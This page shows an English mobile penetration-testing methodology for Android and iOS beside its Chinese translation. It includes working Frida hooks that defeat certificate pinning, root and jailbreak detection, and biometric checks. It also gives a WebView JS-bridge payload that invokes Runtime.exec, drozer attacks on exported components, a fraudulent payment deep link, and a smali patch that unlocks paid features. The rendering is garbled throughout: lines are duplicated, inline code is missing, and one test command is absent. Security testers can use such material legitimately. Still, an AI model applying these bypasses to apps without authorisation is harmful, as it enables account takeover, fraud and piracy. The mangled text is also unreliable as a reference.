offensive-mobile
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseMobile (Android + iOS) — Offensive Testing Methodology
移动应用(Android + iOS)— 攻击性测试方法
Quick Workflow
快速工作流
- Static: pull the IPA/APK, decompile, dump resources/strings, identify endpoints
- Dynamic: install on rooted/jailbroken device, hook with Frida, intercept TLS
- Map exported attack surface: deep links, URL schemes, exported components
- Storage / Keystore audit: where do secrets live, what protects them
- API: every backend the app talks to is your scope — test like a web app
- 静态分析:提取 IPA/APK,反编译,转储资源/字符串,识别端点
- 动态分析:安装到已 root/jailbreak 的设备上,使用 Frida 进行 hook,并拦截 TLS
- 映射导出的攻击面:deep link、URL scheme、导出组件
- 存储/Keystore 审计:密钥存放在哪里、由什么机制保护
- API:应用连接的每个后端都属于测试范围——像测试 Web 应用一样进行测试
Lab Setup
实验环境搭建
Android
Android
- Rooted device or Genymotion / Android Studio AVD with build
userdebug - Magisk for systemless root; LSPosed for hooks; Frida server matching device arch
- Burp / Mitmproxy with system-trusted CA via Magisk module ()
MagiskTrustUserCerts
- 已 root 的设备,或使用 Genymotion / Android Studio AVD 且采用 build
userdebug - Magisk 用于实现 systemless root;LSPosed 用于 hooks;使用与设备架构匹配的 Frida server
- Burp / Mitmproxy,通过 Magisk module()安装受系统信任的 CA
MagiskTrustUserCerts
iOS
iOS
- Jailbroken device (palera1n / checkra1n / Dopamine depending on iOS version)
- Frida + Objection + Filza + SSH via USB (iproxy 2222 22)
- Burp CA installed via Settings → General → Device Management → Certificate Trust Settings
- 越狱设备(根据 iOS 版本选择 palera1n / checkra1n / Dopamine)
- Frida + Objection + Filza + 通过 USB 建立 SSH(iproxy 2222 22)
- 通过 Settings → General → Device Management → Certificate Trust Settings 安装 Burp CA
Static Analysis
静态分析
Android
Android
bash
undefinedbash
undefinedDecode resources + smali
Decode resources + smali
apktool d app.apk -o app
apktool d app.apk -o app
Decompile to Java
Decompile to Java
jadx -d app_src app.apk
jadx -d app_src app.apk
Manifest review
Manifest review
xmllint --format app/AndroidManifest.xml | less
xmllint --format app/AndroidManifest.xml | less
Look for: android:exported="true", intent-filters, custom permissions, debuggable, allowBackup, networkSecurityConfig
Look for: android:exported="true", intent-filters, custom permissions, debuggable, allowBackup, networkSecurityConfig
```bash
```bashSecrets and endpoints
Secrets and endpoints
grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/
grep -r "Log.[dwief]" app_src/ # leftover debug logs
grep -rE '(https?://[a-z0-9.-]+|api[_-]?key|secret|token|firebase|amazonaws|appspot)' app_src/
grep -r "Log.[dwief]" app_src/ # leftover debug logs
Native libs
Native libs
file app/lib//.so
file app/lib//.so
RE in Ghidra/IDA; look for JNI_OnLoad and exported Java_* functions
RE in Ghidra/IDA; look for JNI_OnLoad and exported Java_* functions
undefinedundefinediOS
iOS
bash
undefinedbash
undefinedPull IPA from device
Pull IPA from device
frida-ios-dump -o app.ipa "com.vendor.app"
frida-ios-dump -o app.ipa "com.vendor.app"
Or via App Store via 3rd-party tools (Apple Configurator with paid acct, etc.)
Or via App Store via 3rd-party tools (Apple Configurator with paid acct, etc.)
unzip app.ipa
unzip app.ipa
Decrypt if needed (jailbroken device): bagbak / clutch
Decrypt if needed (jailbroken device): bagbak / clutch
bagbak com.vendor.app
bagbak com.vendor.app
Class dump
Class dump
class-dump-dyld -H Payload/App.app/App -o headers/
class-dump-dyld -H Payload/App.app/App -o headers/
Or for Swift symbols, use Hopper / IDA
Or for Swift symbols, use Hopper / IDA
Strings / endpoints
Strings / endpoints
strings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'
```bashstrings -a Payload/App.app/App | grep -E '(https?://|key|secret|api)'
```bashInfo.plist analysis
Info.plist analysis
plutil -p Payload/App.app/Info.plist
plutil -p Payload/App.app/Info.plist
Look for: NSAppTransportSecurity exceptions, CFBundleURLTypes (URL schemes),
Look for: NSAppTransportSecurity exceptions, CFBundleURLTypes (URL schemes),
associated-domains entitlements, UIFileSharingEnabled, ATS exemptions
associated-domains entitlements, UIFileSharingEnabled, ATS exemptions
---
- 查找:NSAppTransportSecurity 豁免配置、CFBundleURLTypes(URL schemes)、associated-domains entitlements、UIFileSharingEnabled、ATS 豁免项
---Dynamic Analysis & Frida
动态分析与 Frida
Common Hooks
常见 Hooks
javascript
// Bypass SSL pinning (Android — generic OkHttp/CertificatePinner/TrustManager)
Java.perform(() => {
const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
const TrustManagerFactory = Java.use('javax.net.ssl.TrustManagerFactory');
// ... full bypass scripts: codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida
});
// Bypass root detection
Java.perform(() => {
const File = Java.use('java.io.File');
File.exists.implementation = function () {
const path = this.getAbsolutePath();
if (path.includes('su') || path.includes('Magisk')) return false;
return this.exists();
};
});
// iOS — bypass jailbreak detection
const stat = Module.findExportByName(null, 'stat');
Interceptor.attach(stat, {
onEnter(args) {
const path = args[0].readUtf8String();
if (/Cydia|jailbreak|substrate|frida/i.test(path)) {
args[0] = Memory.allocUtf8String('/nonexistent');
}
}
});javascript
// Bypass SSL pinning (Android — generic OkHttp/CertificatePinner/TrustManager)
Java.perform(() => {
const X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
const TrustManagerFactory = Java.use('javax.net.ssl.TrustManagerFactory');
// ... full bypass scripts: codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida
});
// Bypass root detection
Java.perform(() => {
const File = Java.use('java.io.File');
File.exists.implementation = function () {
const path = this.getAbsolutePath();
if (path.includes('su') || path.includes('Magisk')) return false;
return this.exists();
};
});
// iOS — bypass jailbreak detection
const stat = Module.findExportByName(null, 'stat');
Interceptor.attach(stat, {
onEnter(args) {
const path = args[0].readUtf8String();
if (/Cydia|jailbreak|substrate|frida/i.test(path)) {
args[0] = Memory.allocUtf8String('/nonexistent');
}
}
});Objection (Frida-based shortcuts)
Objection(基于 Frida 的快捷方式)
bash
objection -g com.vendor.app explorebash
objection -g com.vendor.app exploreThen inside:
Then inside:
android sslpinning disable
android root disable
android hooking list activities
android intent launch_activity com.vendor.app/.SecretActivity
ios sslpinning disable
ios jailbreak disable
ios keychain dump
---android sslpinning disable
android root disable
android hooking list activities
android intent launch_activity com.vendor.app/.SecretActivity
ios sslpinning disable
ios jailbreak disable
ios keychain dump
进入后:
---SSL / TLS Interception
SSL / TLS 拦截
Android Network Security Config
Android 网络安全配置
App with requiring its own pinned CA: edit , repack:
<network-security-config>res/xml/network_security_config.xmlbash
apktool b app -o app-patched.apk
apksigner sign --ks debug.keystore app-patched.apkOr live-bypass with Frida (preferred — no recompile).
如果应用通过 强制使用自己的 pinned CA,请编辑 并重新打包:
<network-security-config>res/xml/network_security_config.xmlbash
apktool b app -o app-patched.apk
apksigner sign --ks debug.keystore app-patched.apk或者使用 Frida 实时绕过(推荐——无需重新编译)。
iOS ATS / Pinning
iOS ATS / Pinning
For pinning, use Frida hooks against / delegate methods. ATS exceptions in Info.plist () make MITM trivial without pinning.
SecTrustEvaluate*NSURLSessionNSAllowsArbitraryLoads对于 pinning,使用针对 / delegate 方法的 Frida hooks。Info.plist 中的 ATS 豁免项()会让人在不使用 pinning 的情况下也能轻松实施 MITM。
SecTrustEvaluate*NSURLSessionNSAllowsArbitraryLoadsExported / IPC Attack Surface
导出/IPC 攻击面
Android — Exported Components
Android——导出组件
bash
drozer console connect
> run app.package.attacksurface com.vendor.app
> run app.activity.start --component com.vendor.app .ExportedActivity \
--extra string url 'javascript:alert(1)'
> run app.provider.query content://com.vendor.app.provider/secretsTargets:
- activities → call from another app, bypass auth
exported="true" - ContentProviders without → arbitrary read
grantUriPermissions - Receivers handling etc. with privileged actions
BOOT_COMPLETED - Services bound by intent extras → command injection
bash
drozer console connect
> run app.package.attacksurface com.vendor.app
> run app.activity.start --component com.vendor.app .ExportedActivity \
--extra string url 'javascript:alert(1)'
> run app.provider.query content://com.vendor.app.provider/secrets测试目标:
- activities → 可从另一个应用调用,从而绕过身份验证
exported="true" - 未配置 的 ContentProviders → 可被任意读取
grantUriPermissions - 处理 等广播并执行特权操作的 Receivers
BOOT_COMPLETED - 通过 intent extras 绑定的 Services → 命令注入
Intent Redirection / PendingIntent Hijack
Intent 重定向/PendingIntent 劫持
java
// Vulnerable: PendingIntent with implicit Intent given to untrusted app
PendingIntent.getActivity(this, 0, new Intent(), FLAG_MUTABLE)
// Attacker fills the empty Intent → action runs with victim app's identityjava
// Vulnerable: PendingIntent with implicit Intent given to untrusted app
PendingIntent.getActivity(this, 0, new Intent(), FLAG_MUTABLE)
// Attacker fills the empty Intent → action runs with victim app's identityiOS — URL Schemes / Universal Links
iOS——URL Schemes / Universal Links
bash
undefinedbash
undefinedOpen custom scheme (test from another app)
Open custom scheme (test from another app)
plutil -p Payload/App.app/Info.plist | grep -A 5 CFBundleURLTypes
plutil -p Payload/App.app/Info.plist | grep -A 5 CFBundleURLTypes
Then on device:
Then on device:
xcrun simctl openurl booted "vendorapp://payment?to=ATTACKER&amount=9999"
Universal Links: check `apple-app-site-association` on the linked domain — open redirect on that domain → universal-link claim → in-app webview navigation.xcrun simctl openurl booted "vendorapp://payment?to=ATTACKER&amount=9999"
Universal Links:检查关联域名上的 `apple-app-site-association`——该域名存在开放重定向 → 即可声明 universal link → 在应用内 WebView 中导航。iOS XPC / Mach Services
iOS XPC / Mach Services
launchctl list | grep com.vendorlaunchctl list | grep com.vendorInsecure Data Storage
不安全的数据存储
Android
Android
bash
undefinedbash
undefinedOn device (root), pull app data
On device (root), pull app data
adb shell "su -c 'tar -cz /data/data/com.vendor.app'" > app_data.tgz
Inspect:
- `shared_prefs/*.xml` — preferences in plaintext
- `databases/*.db` — SQLite (use `sqlite3` to dump)
- `files/` — arbitrary writes
- `cache/` and external storage (`sdcard/Android/data/...`) — often readable across appsadb shell "su -c 'tar -cz /data/data/com.vendor.app'" > app_data.tgz
检查以下内容:
- `shared_prefs/*.xml`——以明文存储的首选项
- `databases/*.db`——SQLite(使用 `sqlite3` 转储)
- `files/`——可写入任意文件
- `cache/` 和外部存储(`sdcard/Android/data/...`)——通常可被其他应用读取Android Keystore Misuse
Android Keystore 误用
- Keys created without → use any time process is running
setUserAuthenticationRequired(true) - AES-GCM with reused IV (devs often hardcode IV)
- RSA without proper padding (PKCS1 v1.5 vs OAEP)
- 创建密钥时未设置 → 只要进程正在运行即可使用
setUserAuthenticationRequired(true) - AES-GCM 重复使用 IV(开发者经常硬编码 IV)
- RSA 未使用适当的 padding(PKCS1 v1.5 与 OAEP)
iOS Keychain
iOS Keychain
bash
undefinedbash
undefinedObjection
Objection
ios keychain dump
ios keychain dump
Look for kSecAttrAccessible values:
Look for kSecAttrAccessible values:
AlwaysThisDeviceOnly → readable when phone locked (bad for secrets)
AlwaysThisDeviceOnly → readable when phone locked (bad for secrets)
WhenUnlocked → standard
WhenUnlocked → standard
AlwaysThisDeviceOnly → bypasses screen lock
AlwaysThisDeviceOnly → bypasses screen lock
iOS Data Protection classes: NSFileProtectionNone files are readable on a jailbroken device even when locked.
---
iOS Data Protection 类别:NSFileProtectionNone 文件在越狱设备上即使处于锁屏状态也可读取。
---WebView Vulnerabilities
WebView 漏洞
Android addJavascriptInterface
addJavascriptInterfaceAndroid addJavascriptInterface
addJavascriptInterfaceIf the app exposes a JS bridge with reflection-capable objects, JS in any loaded page = arbitrary Java method invocation.
javascript
// In a page loaded by the WebView
JSBridge.getClass().forName('java.lang.Runtime')
.getMethod('exec', String).invoke(JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')如果应用暴露了包含可反射对象的 JS bridge,那么任意加载页面中的 JS 都可调用任意 Java 方法。
javascript
// In a page loaded by the WebView
JSBridge.getClass().forName('java.lang.Runtime')
.getMethod('exec', String).invoke(JSBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), 'id')file:// and Content://
file:// 和 Content://
WebView with + a HTML attachment that the user opens → reads any file the app can.
setAllowFileAccessFromFileURLs(true)WebView 设置 ,且用户打开某个 HTML 附件 → 可读取应用有权访问的任意文件。
setAllowFileAccessFromFileURLs(true)iOS WKWebView
iOS WKWebView
WKWebViewConfiguration.preferences.javaScriptCanOpenWindowsAutomatically- exposed — same JS bridge concern as Android
wkScriptMessageHandler - File URL load with and broad
loadFileURLdirectoryallowingReadAccessTo
WKWebViewConfiguration.preferences.javaScriptCanOpenWindowsAutomatically- 暴露 ——与 Android 相同的 JS bridge 风险
wkScriptMessageHandler - 使用 加载 file URL,且
loadFileURL指向范围过宽的目录allowingReadAccessTo
Biometric / Auth Bypass
生物识别/身份验证绕过
Android BiometricPrompt
Android BiometricPrompt
Apps using BiometricPrompt without binding the cryptographic operation to authentication can be bypassed by hooking the result callback.
javascript
Java.perform(() => {
const Cb = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
Cb.onAuthenticationSucceeded.implementation = function (r) {
return this.onAuthenticationSucceeded(r); // accept whatever
};
Cb.onAuthenticationFailed.implementation = function () { /* ignore */ };
});使用 BiometricPrompt 但未将加密操作绑定到身份验证的应用,可以通过 hook 结果回调绕过验证。
javascript
Java.perform(() => {
const Cb = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback');
Cb.onAuthenticationSucceeded.implementation = function (r) {
return this.onAuthenticationSucceeded(r); // accept whatever
};
Cb.onAuthenticationFailed.implementation = function () { /* ignore */ };
});iOS LAContext
iOS LAContext
evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics)javascript
const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
onEnter(args) {
const cb = new ObjC.Block(args[4]);
const orig = cb.implementation;
cb.implementation = function(success, err) { orig.call(this, true, NULL); };
}
});The fix on the dev side is to use a biometric-bound key in the Keychain — the bypass above doesn't yield key access.
evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics)javascript
const LAContext = ObjC.classes.LAContext;
Interceptor.attach(LAContext['- evaluatePolicy:localizedReason:reply:'].implementation, {
onEnter(args) {
const cb = new ObjC.Block(args[4]);
const orig = cb.implementation;
cb.implementation = function(success, err) { orig.call(this, true, NULL); };
}
});开发侧的修复方案是在 Keychain 中使用绑定生物识别的密钥——上述绕过方式无法取得密钥访问权限。
Firebase / Cloud Misconfig (highest hit-rate)
Firebase/云配置错误(命中率最高)
Firebase Realtime DB (still common)
Firebase Realtime DB(仍然常见)
Pull URL from app:
bash
strings app.apk | grep -E "https://[a-z0-9-]+\.firebaseio\.com"从应用中提取 URL:
bash
strings app.apk | grep -E "https://[a-z0-9-]+\.firebaseio\.com"Test for unauth read
Test for unauth read
If returns data → unauth read
If returns data → unauth read
undefinedundefinedFirestore
Firestore
Rules misconfigured to — visible in app's REST calls. Test with anon SDK or direct REST.
allow read, write: if true;规则被错误配置为 ——可在应用的 REST 调用中看到。使用匿名 SDK 或直接通过 REST 进行测试。
allow read, write: if true;S3 / GCS / Azure Blob
S3 / GCS / Azure Blob
Unsigned URLs in API responses, or bucket names guessable from app package — test public-read, public-write, ACL.
API response 中包含未签名 URL,或者 bucket 名称可根据应用包名推测——测试 public-read、public-write 和 ACL。
Embedded API Keys
Embedded API Keys
Google Maps key restricted properly? Stripe publishable vs secret? Twilio? AWS access keys in plaintext (still happens) → cloud takeover.
bash
truffleHog filesystem app_src/
gitleaks detect --source app_src/Google Maps key 是否正确限制?Stripe key 是 publishable 还是 secret?Twilio?明文中的 AWS access key(这种情况仍会发生)→ 接管云资源。
bash
truffleHog filesystem app_src/
gitleaks detect --source app_src/Mobile API Testing
移动 API 测试
The backend is the same as a web app — pivot to web/API methodology once you've extracted the endpoints. Things specific to mobile:
- Device-bound headers (,
X-Device-ID,X-App-Version) often calculable client-side. Pull the algorithm from the binary.X-Signature - Request signing: HMAC with key embedded in app → game over, sign anything.
- Mobile-only endpoints that skip rate limiting because they're "behind app authentication"
- Older API versions still alive: retired in newer app, server still serving with weaker auth.
/api/v1/... - Push notification topics: subscribing to may receive messages meant for others (Firebase Messaging).
/topics/<predictable>
后端与 Web 应用相同——提取出端点后,转用 Web/API 方法学。移动端特有的内容包括:
- 设备绑定请求头(、
X-Device-ID、X-App-Version)通常可在客户端自行计算。从二进制文件中提取算法。X-Signature - 请求签名:HMAC 的 key 嵌入在应用中 → 轻松伪造任意请求。
- 仅限移动端的端点可能因为被认为处于“应用身份验证之后”而跳过速率限制
- 旧版 API 仍然可用:新版应用已停用 ,但服务器仍在提供使用较弱身份验证的服务
/api/v1/... - Push notification topics:订阅 可能收到原本发给其他用户的消息(Firebase Messaging)
/topics/<predictable>
App Tampering & Repackaging
应用篡改与重新打包
bash
undefinedbash
undefinedPatch a check (e.g. premium=true)
Patch a check (e.g. premium=true)
Smali edit
Smali edit
sed -i 's/return-void/const/4 v0, 0x1\n return v0/' app/smali/com/vendor/Premium.smali
apktool b app -o patched.apk
apksigner sign --ks debug.keystore patched.apk
adb install -r patched.apk
For commercial bypasses, use **LSPosed module** so original APK isn't modified — bypasses signature checks that lock down repackaged variants.
---sed -i 's/return-void/const/4 v0, 0x1\n return v0/' app/smali/com/vendor/Premium.smali
apktool b app -o patched.apk
apksigner sign --ks debug.keystore patched.apk
adb install -r patched.apk
对于商业功能绕过,使用 **LSPosed module**,这样无需修改原始 APK——可绕过锁定重打包变体的签名检查。
---iOS Specifics
iOS 专项
Entitlements
Entitlements
bash
codesign -d --entitlements - Payload/App.app/AppLook for: (cross-app keychain), (shared containers), (universal links), private entitlements (rare).
keychain-access-groupscom.apple.security.application-groupscom.apple.developer.associated-domainsbash
codesign -d --entitlements - Payload/App.app/App查找:(跨应用 Keychain)、(共享容器)、(universal links)、私有 entitlements(较少见)。
keychain-access-groupscom.apple.security.application-groupscom.apple.developer.associated-domainsURL Schemes from Other Apps
从其他应用调用 URL Schemes
objc
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"vendorapp://..."]];Any app can invoke any registered URL scheme. Validate sender? Most don't.
objc
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"vendorapp://..."]];任何应用都可以调用任何已注册的 URL scheme。是否验证发送方?大多数应用并未验证。
App Groups Shared Container
App Groups 共享容器
/private/var/mobile/Containers/Shared/AppGroup/<UUID>/Multiple apps from same vendor share — secrets here cross app boundary.
/private/var/mobile/Containers/Shared/AppGroup/<UUID>/同一供应商的多个应用会共享该目录——此处存储的 secrets 可跨越应用边界。
Detection / Defender View
检测/防御方视角
| Detector | Bypass |
|---|---|
| Frida server detection (port 27042 open) | Run frida-server on alt port, use |
Magisk detection via | Magisk Hide / DenyList |
| Emulator detection | Run on real device, or stub |
| iOS jailbreak detection (file existence) | Frida hook |
Anti-debug | Frida-stalker-based, or kernel patch |
| Certificate pinning | Frida universal pinning bypass |
| App attestation (Play Integrity / DeviceCheck) | Hard — usually requires server-side bypass or app attestation token relay |
| 检测机制 | 绕过方法 |
|---|---|
| Frida server 检测(端口 27042 已开放) | 在备用端口运行 frida-server,使用 |
通过 | Magisk Hide / DenyList |
| 模拟器检测 | 在真实设备上运行,或 stub |
| iOS jailbreak 检测(检查文件是否存在) | Frida hook |
反调试 | 基于 Frida-stalker,或进行内核补丁 |
| Certificate pinning | Frida 通用 pinning 绕过 |
| App attestation(Play Integrity / DeviceCheck) | 难度较高——通常需要服务端绕过或 app attestation token 中继 |
Engagement Checklist
测试项目检查清单
[ ] Pull IPA/APK from device
[ ] Decompile / class-dump
[ ] Grep for endpoints, keys, tokens
[ ] Manifest / Info.plist review
[ ] Static-find exported components, deep links, URL schemes
[ ] Install on rooted/jailbroken; configure Frida
[ ] Bypass pinning, MITM all traffic
[ ] Test every API the app calls (web methodology)
[ ] Test exported components from another app / drozer / runtime
[ ] Inspect on-device storage (sharedprefs, sqlite, keychain)
[ ] Test biometric flows for unbound auth
[ ] Test deep links / URL schemes for auth bypass / open redirect / IDOR
[ ] Cloud config: Firebase rules, S3 buckets, signed URLs
[ ] Push topics / subscription model
[ ] Device-binding / signing scheme analysis[ ] Pull IPA/APK from device
[ ] Decompile / class-dump
[ ] Grep for endpoints, keys, tokens
[ ] Manifest / Info.plist review
[ ] Static-find exported components, deep links, URL schemes
[ ] Install on rooted/jailbroken; configure Frida
[ ] Bypass pinning, MITM all traffic
[ ] Test every API the app calls (web methodology)
[ ] Test exported components from another app / drozer / runtime
[ ] Inspect on-device storage (sharedprefs, sqlite, keychain)
[ ] Test biometric flows for unbound auth
[ ] Test deep links / URL schemes for auth bypass / open redirect / IDOR
[ ] Cloud config: Firebase rules, S3 buckets, signed URLs
[ ] Push topics / subscription model
[ ] Device-binding / signing scheme analysisKey References
主要参考资料
- OWASP MASTG (Mobile Application Security Testing Guide)
- OWASP MASVS — verification standard
- Frida CodeShare — codeshare.frida.re for ready-to-use hooks
- mobile-security-framework / MobSF for automated triage
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/mobile.md
- OWASP MASTG(Mobile Application Security Testing Guide)
- OWASP MASVS——验证标准
- Frida CodeShare——codeshare.frida.re 提供可直接使用的 hooks
- mobile-security-framework / MobSF——用于自动化初步排查
- 来源:https://github.com/SnailSploit/offensive-checklist/blob/main/mobile.md